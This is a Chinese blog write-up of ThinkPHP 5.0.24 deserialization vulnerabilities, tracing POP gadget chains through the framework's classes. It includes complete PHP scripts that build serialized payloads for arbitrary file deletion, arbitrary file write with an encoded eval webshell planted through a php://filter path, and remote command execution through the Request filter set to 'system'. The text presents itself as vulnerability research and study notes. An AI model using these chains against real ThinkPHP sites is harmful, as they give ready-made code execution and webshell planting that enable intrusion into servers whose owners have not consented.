• TP 5.0.24反序列化漏洞分析


    前言

    很久没发过文章了,最近在研究审计链条相关的东西,codeql,ast,以及一些java的东西很多东西还是没学明白就先不写出来丢人了,写这篇tp的原因呢
    虽然这个漏洞的分析文章蛮多了,但是还是跟着看了下,一方面是因为以前对pop链挖掘一直学的懵懵懂懂的 ctf的一些pop链能出,但是到了框架里面自己就是挖不出来,所以就想着自己挖下tp反序列化的链子来看看,另一方面是想思考学习下php挖掘利用ast手法去该怎么入手(虽然后面这个问题还没解决),所以就有了这篇文章。
    在这里插入图片描述
    如果有什么问题 欢迎师傅们批评指教,提建议。

    正文:

    下载地址:http://www.thinkphp.cn/donate/download/id/1279.html

    任意文件读取

    https://www.anquanke.com/post/id/239242#h2-5
    这篇的原理我就不分析了:
    原理就是:连接数据库导致的任意文件读取,这种手法常拿来做蜜罐。

    反序列化

    因为tp本身的反序列化需要二开才能使用,因此我们得把入口函数改为如下
    application/index/controller/index.php的内容改为如下的

    
    namespace app\index\controller;
    
    class Index
    {
        public function index()
        {   
            $a = $_GET['string'];
            unserialize($a);
    
    
        
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    set方法前

    然后进行直接搜索反序列化的 __destruct或者是__wakeup,这里搜索__destruct

    一个一个看,发觉Windows类如下
    在这里插入图片描述
    在这里插入图片描述
    这不就是一个纯纯的任意文件删除且触发__tostring()函数

    
    
    
    namespace think\process\pipes;
    class Windows 
    {
    
        /** @var array */
        private $files = ["../abc.php","b.txt"];//这里控制想删除的文件即可
       
        
    }
    echo urlencode(serialize(new Windows));
    ?>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    接着跟:因为file_exists触发了__tostring函数,因此直接接着跟__tostring函数
    搜索得5个 一个一个跟过去
    在这里插入图片描述
    经过一个一个跟最后排除为如下
    即从Model.php里面的__toJson()–>toArray()
    toArrary()函数

    具体的点 即典型变量–>函数找这种 且观察相关的变量是否可控 如果可控即可调用__call函数
    这里最开始是思考可以调modelRelation和value参数进而去触发__call函数
    在这里插入图片描述

    先看modelRelation
    modelRelation想要触发_call函数的几个条件
    ①this->append不为空且this->append as key => name
    ②method_exists(this,relation)存在这个方法
    ③method_exists(modelRelation, ‘getBindAttr’) 主要就是这个条件直接就把modelRelation触发__call给gg了
    因为如果存在这个方法即必然$bindAttr = $modelRelation->getBindAttr();可以满足 即必然无法触发__call函数

    再看value参数触发的条件
    ①this->append不为空且this->append as key => name
    ②method_exists(this,relation)
    ③method_exists(modelRelation, ‘getBindAttr’)
    ④$bindAttr
    因此一个一个排查看能否满足这四个条件
    第一个条件,因为append是我们自己定义的 因此这个我们可控,第一个条件可满足
    在这里插入图片描述

    第二个条件
    method_exists(this, relation)即这个类中存在relation这个方法 且relation由name赋值给予的,即this->append=[‘该类中存在的方法名’];
    满足这个即可,因为我们的relation后面还要赋值,因此最好找到可控的
    一个一个方法找下去找到 两个满足条件的方法
    在这里插入图片描述
    自此第二个条件可满足,其这里选用的是getError()函数
    第三个条件

    method_exists($modelRelation, 'getBindAttr')
    
    • 1

    且由代码可知modelRelation由$this->relation()控制 而relation我们是可控的 因此我们只需要找到一个存在getBindAttr方法的且参数可控的类赋值给其即可
    有一个OneToOne类中具有这个方法
    且方法可控

    在这里插入图片描述
    但其为抽象类,因此我们直接找继承其的 找到两个相关类 随便选一个即可
    在这里插入图片描述

    这里选择的是BelongsTo这个类 this->error=new BelongsTo(); 赋值即可
    第四个条件:

    $bindAttr不为空 这个就更简单了
    这个由$modelRelation->getBindAttr();方法控制这里的方法就相当于我们上面的$this->bindAttr参数
    这个随便进行赋值下即可$this->bindAttr = ["test"=>"test"];  第四个条件满足
    自此value参数可触发到 在具体跟value由谁赋值,如果value可控即可完整造成触发_call函数
    这里的value参数由$this->getRelationData($modelRelation)方法获取 且由上面分析可知 $modelRelation变量可控
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    跟进getRelationData方法
    在这里插入图片描述
    发觉有2种情况赋予value值 看第一种
    需要满足三个条件

    第一:$this->parent存在 且$this->parent 可控,才可可控value值
    第二:$modelRelation->isSelfRelation()不满足
    第三:get_class($modelRelation->getModel()) == get_class($this->parent)
    
    • 1
    • 2
    • 3

    第一个条件
    由于这个我们可以自己定义可控,第一个条件满足
    在这里插入图片描述
    第二个条件:

    $modelRelation->isSelfRelation()
    由于这里的$modelRelation变量被我们赋值为了BelongsTo的因此我们要看BelongsTo类里面能否有这个方法
    直接跟过去
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    发觉是Relation类且该类为抽象类
    因此我们直接找继承
    在这里插入图片描述
    OneToOne也是继承的他 而我们的BelongsTo继承的是OneToOne的 且该函数是直接返回的selfRelation变量且这个变量是自定义的 因为相当于第二个条件我们可以满足 直接不定义这个变量即可满足
    第三个条件:

    get_class($modelRelation->getModel()) == get_class($this->parent)
    
    • 1

    和上面的是一个情况 这个getModel在Relation中可存在如下定义即query变量可控 且我们控制的类BelongsTo也可以满足这个条件
    即我们也可以可控query变量因此我们只要找到一个类里面的getModel方法我们可控即可满足这个条件
    在这里插入图片描述

    在这里插入图片描述
    在这里的
    Query和ModelNotFoundException均可满足这个条件

    在这里插入图片描述
    这里我们选用的是ModelNotFoundException这个类
    走到这里value触发__call()函数完全就可通
    构造如下

    
    
    namespace think;
    use think\Model\Relation\BelongsTo;
    use think\console\Output;
    abstract class Model 
    {
    	protected $append = [];
        protected $error;
        protected $parent;
        public function __construct()
        {
    
        	$this->append=['getError'];
        	$this->error=new BelongsTo();
        	$this->parent=new 我们想控制的类必须跟ModelNotFoundException的model是一样的();
        }
    }
    
    namespace think\model\relation;
    use think\db\exception\ModelNotFoundException;
    class BelongsTo 
    {
        protected $query;//去进行触发下一条链
        protected $bindAttr = [];
        public function __construct()
        {
            $this->query = new ModelNotFoundException();
            $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
        }
    }
    
    namespace think\db\exception;
    use think\console\Output;
    class ModelNotFoundException
    {
    
    	protected $model;
    	public  function __construct()
    	{
    		$this->model=new 我们想控制的类();
    	}
    }
    namespace think\model;
    use think\Model;
    class Merge  extends Model{
    
    }
    namespace think\process\pipes;
    use think\model\Merge ;
    class Windows 
    {
    
        private $files = [];
        public function __construct()
        {
    
        $this->files=[new Merge()];  }
       
        
    }
    use think\process\pipes\Windows;
    echo urlencode(serialize(new Windows));
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64

    到这里后我们接着找__call函数 且这里记住由于上面的method为getAttr 这里的_call的method一定也得是我们getAttr的
    直接搜索
    在这里插入图片描述
    这里大概的过一下其他的主要就是method不可控导致的其他的_call函数无法调用
    ①think\File
    在这里插入图片描述
    在这里插入图片描述
    ②think\Model
    在这里插入图片描述

    ③think\Paginator的

    在这里插入图片描述
    且collection可控, n a m e 不可控, name不可控, name不可控,arguments可控

    在这里插入图片描述
    ④think\Requet
    一样的method不可控导致
    在这里插入图片描述
    ⑥think\Yar
    在这里插入图片描述

    ⑦db\Connection
    类名方法均不可控
    在这里插入图片描述
    ⑧db\Query
    一样的原因
    在这里插入图片描述

    ⑨think\model\Relation
    在这里插入图片描述

    ⑩think\view\driver\Think
    在这里插入图片描述
    这里只有第五条个__call函数可以思考利用
    think\Output的这个
    因为参数固定了即直接调用block函数且参数为$args
    在这里插入图片描述
    因此我们重点接着跟block函数
    在这里插入图片描述
    在这里插入图片描述

    这里到了handle,handle是一个我们可以控制的变量,因此这里可以拿来做一层跳板
    在这里插入图片描述
    搜索有write类的方法 找到12个相关的

    在这里插入图片描述
    这里就不每个都写出来了
    重点就是Memcache方法和Memcached方法 里面的handler可控,造成可以在做一次跳板
    在这里插入图片描述
    set方法相关的15个
    在这里插入图片描述
    走到了这里就可以有两种思路拿shell了
    前面的payload构造

    
    
    namespace think;
    use think\Model\Relation\BelongsTo;
    use think\console\Output;
    abstract class Model 
    {
    	protected $append = [];
        protected $error;
        protected $parent;
        public function __construct()
        {
    
        	$this->append=['getError'];
        	$this->error=new BelongsTo();
        	$this->parent=new Output();
        }
    }
    
    namespace think\model\relation;
    use think\db\exception\ModelNotFoundException;
    class BelongsTo 
    {
        protected $query;//去进行触发下一条链
        protected $bindAttr = [];
        public function __construct()
        {
            $this->query = new ModelNotFoundException();
            $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
        }
    }
    
    namespace think\db\exception;
    use think\console\Output;
    class ModelNotFoundException
    {
    
    	protected $model;
    	public  function __construct()
    	{
    		$this->model=new Output();
    	}
    }
    
    namespace think\console;
    use think\session\driver\Memcached;
    class Output{
        private $handle;//去触发Memcached的set,第一层跳板
        protected $styles = [
            "getAttr"
        ];
        public function __construct()
        {
            $this->handle = new Memcached();
        }
    
    }
    
    
    namespace think\session\driver;
    use think\cache\driver\File;
    class Memcached{
    	protected $handler = null;
    	function __construct(){
    		$this->handler=new 存在set方法的调用类();
    
    	}
    
    }
    
    
    namespace think\model;
    use think\Model;
    class Merge  extends Model{
    
    }
    namespace think\process\pipes;
    use think\model\Merge ;
    class Windows 
    {
    
        private $files = [];
        public function __construct()
        {
    
        $this->files=[new Merge()];  }
       
        
    }
    use think\process\pipes\Windows;
    echo urlencode(serialize(new Windows));
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    调用链:

    在这里插入图片描述
    在这里插入图片描述
    toArray具体分析
    因为append我们是可以可控的 因此重点关注value可控以及进入到value的三个条件即可
    在这里插入图片描述
    __call函数调用的原理
    在这里插入图片描述

    set方法后

    任意文件写入

    这个就是think\cache\driver\File.php文件的set方法导致的 这里面有个file_put_contents()方法
    在这里插入图片描述
    这里面文件名的获取方式:通过getCacheKey进行获取,且进行拼接options[‘path’]而name也可以等于options[‘prefix’] 因此文件名我们是完全可控的
    在这里插入图片描述
    在这里插入图片描述
    但是内容是由data来的 data根据之前回溯可知是一个true变量 因此导致的问题就是内容是我们不可控的 当时因为走到了这里g了
    但是往下走发觉
    在这里插入图片描述
    setTagItem这个方法中再次调用了file里面的set方法 且这里的set方法传进来的name是filename最后且赋值给了value参数 即导致上面的data是可控的了,因此只要满足执行setTagItem方法就可以导致任意文件写入了
    条件即是
    result,first为true,因为这里的result为写入内容的所以恒等于真,因此我们只需要把first整为存在即可
    且又因为first由$this->tag和!is_file决定 且is_file我们可控,因此我们只需要满足tag为真即可,且这个tag是我们可控的因此我们是可以满足调用setTagItem方法的
    走到了这里就是绕exit();方法了
    最开始想不明白怎么绕

    查了下相关的资料发觉可以利用伪协议来绕过
    原理是因为
    当file_put_contentes()的参数内容伪造协议的时候,默认会把内容按照这些编码,编码后去进行写入文件,从而绕过exit();函数。
    liunx和windows对应的payload

    linux绕过payload

    php://filter/write=string.rot13/resource=
    
    • 1

    windows的

    $this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
    
    • 1

    自此一个完整的任意文件写入的链子就有了 且加入输入文件名的

    
    
    namespace think;
    use think\Model\Relation\BelongsTo;
    use think\console\Output;
    abstract class Model 
    {
    	protected $append = [];
        protected $error;
        protected $parent;
        public function __construct()
        {
    
        	$this->append=['getError'];
        	$this->error=new BelongsTo();
        	$this->parent=new Output();
        }
    }
    
    namespace think\model\relation;
    use think\db\exception\ModelNotFoundException;
    class BelongsTo 
    {
        protected $query;//去进行触发下一条链
        protected $bindAttr = [];
        public function __construct()
        {
            $this->query = new ModelNotFoundException();
            $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
        }
    }
    
    namespace think\db\exception;
    use think\console\Output;
    class ModelNotFoundException
    {
    
    	protected $model;
    	public  function __construct()
    	{
    		$this->model=new Output();
    	}
    }
    
    namespace think\console;
    use think\session\driver\Memcached;
    class Output{
        private $handle;//去触发Memcached的链
        protected $styles = [
            "getAttr"
        ];
        public function __construct()
        {
            $this->handle = new Memcached();
        }
    
    }
    
    
    namespace think\session\driver;
    use think\cache\driver\File;
    class Memcached{
    	protected $handler = null;
    	function __construct(){
    		$this->handler=new File();
    
    	}
    
    }
    namespace think\cache;
    abstract class Driver
    {
       
    }
    
    namespace think\cache\driver;
    use think\cache\Driver;
    class File extends Driver
    {
    	protected $tag;
    	protected $options=[];
    	public function __construct(){
    	$this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
            'data_compress' => false,
        ];
          $this->tag = true;
    	}
        public function get_filename()
        {
            $name = md5('tag_' . md5($this->tag));
            $filename = $this->options['path'];
            $pos = strpos($filename, "/../");
            $filename = urlencode(substr($filename, $pos + strlen("/../")));
            return $filename . $name . ".php";
        }
    
    }
    
    namespace think\model;
    use think\Model;
    class Merge  extends Model{
    
    }
    namespace think\process\pipes;
    use think\model\Merge ;
    class Windows 
    {
    
        private $files = [];
        public function __construct()
        {
    
        $this->files=[new Merge()];  }
       
        
    }
    use think\process\pipes\Windows;
    echo urlencode(serialize(new Windows));
    
    use think\cache\driver\File;
    echo "\n";
    $fx = new File();
    echo $fx->get_filename();
    ?>
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131

    在这里插入图片描述
    在这里插入图片描述

    调用链:

    在这里插入图片描述

    RCE

    set方法之前和前面一样set方法后有区别了
    set选择的时候也可以选择
    think\cache\driver\Memcache.php或者think\cache\driver\Memcached.php这两个方法
    里面有个has($name)方法
    当tag为真时进入到has()方法中去,因此这里的tag需要赋一个值不能为空
    在这里插入图片描述
    重点就是这里了 这里的handler又可以做一个跳板 且调用的是get方法 走到这里就可以走tp的经典request->get导致rce了
    在这里插入图片描述
    在这里插入图片描述
    经典回调函数导致RCE
    在这里插入图片描述

    
    
    namespace think;
    use think\Model\Relation\BelongsTo;
    use think\console\Output;
    abstract class Model 
    {
    	protected $append = [];
        protected $error;
        protected $parent;
        public function __construct()
        {
    
        	$this->append=['getError'];
        	$this->error=new BelongsTo();
        	$this->parent=new Output();
        }
    }
    namespace think\model\relation;
    use think\db\exception\ModelNotFoundException;
    class BelongsTo 
    {
        protected $query;//去进行触发下一条链
        protected $bindAttr = [];
        public function __construct()
        {
            $this->query = new ModelNotFoundException();
            $this->bindAttr = ["test"=>"test"];//这里随便不为空即可
        }
    }
    
    namespace think\db\exception;
    use think\console\Output;
    class ModelNotFoundException
    {
    
    	protected $model;
    	public  function __construct()
    	{
    		$this->model=new Output();
    	}
    }
    
    namespace think\console;
    use think\session\driver\Memcached;
    class Output{
        private $handle;//去触发Memcached的链
        protected $styles = [
            "getAttr"
        ];
        public function __construct()
        {
            $this->handle = new Memcached();
        }
    
    }
    namespace think\cache;
    abstract class Driver{
     
    }
     
    namespace think\session\driver;
    use think\cache\driver\Memcache;//这里是write的方法
    use think\cache\Driver;
    class Memcached {               
        protected $handler;
        public function __construct()
        {
            $this->handler = new Memcache();
        }
    
    }
    namespace think\cache\driver;
    use think\Request;
    class Memcache{
        protected $tag = "test";
        protected $handler;//触发Request的链
        protected $options = ['prefix'=>'goddemon/'];
        public function __construct()
        {
            $this->handler = new Request();
        }
    }
    
    namespace think;
    class Request{
        protected $get = ["goddemon"=>'whoami'];
        protected $filter;
        public function __construct()
        {
            $this->filter = 'system';
        }
    }
    namespace think\model;
    use think\Model;
    class Merge  extends Model{
    
    }
    namespace think\process\pipes;
    use think\model\Merge ;
    class Windows 
    {
    
        /** @var array */
        private $files = [];
        public function __construct()
        {
    
        $this->files=[new Merge()];  }
       
        
    }
    use think\process\pipes\Windows;
    echo urlencode(serialize(new Windows));
    ?>
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118

    打即可
    在这里插入图片描述
    这里有个坑就是 protected $options 必须需要赋值且和下面的get方法的名字必须是一样的
    这里当时debug了一会
    原理如下:
    错误的示范:
    当如这样时
    在这里插入图片描述
    因为name最后会进入到input方法中去进行切割,查找是否存在/ 存在的即分割然后赋予list 否则则type=‘s’
    这也是为什么/不能少的原因

    在这里插入图片描述
    然后进行判断,判断是否存在 d a t a [ data[ data[val]即$data[name]即我们传入的name值,如果不存在则直接返回了 导致到不了filtervalue函数 进而无法rce 因此我们必须控制这里的prefix和get里面的为相同的
    在这里插入图片描述
    正确的即rce链中的方式

    调用链:

    在这里插入图片描述

  • 相关阅读:
    艾美捷细胞失巢凋亡检测试剂盒测定原理
    web前端JS基础------制作一个获取验证码
    【Spring进阶系列丨最终篇】一文详解Spring中的事务控制
    SonarQube 离线安装插件的标准方法
    编写第一个Go程序
    了解”变分下界“
    【云原生 | Kubernetes 系列】K8s 实战 一文学会如何从 PodSecurityPolicy 迁移到内置的 PodSecurity 准入控制器
    使用Unity旧版本使用hotReload在开始的时候提示 PlayerSettings.suppressCommonWarnings; 找不到
    C语言--分段函数--switch语句
    C++PrimerPlus 第六章 分支语句和逻辑运算符(复习题含答案)
  • 原文地址:https://blog.csdn.net/qq_33942040/article/details/127428648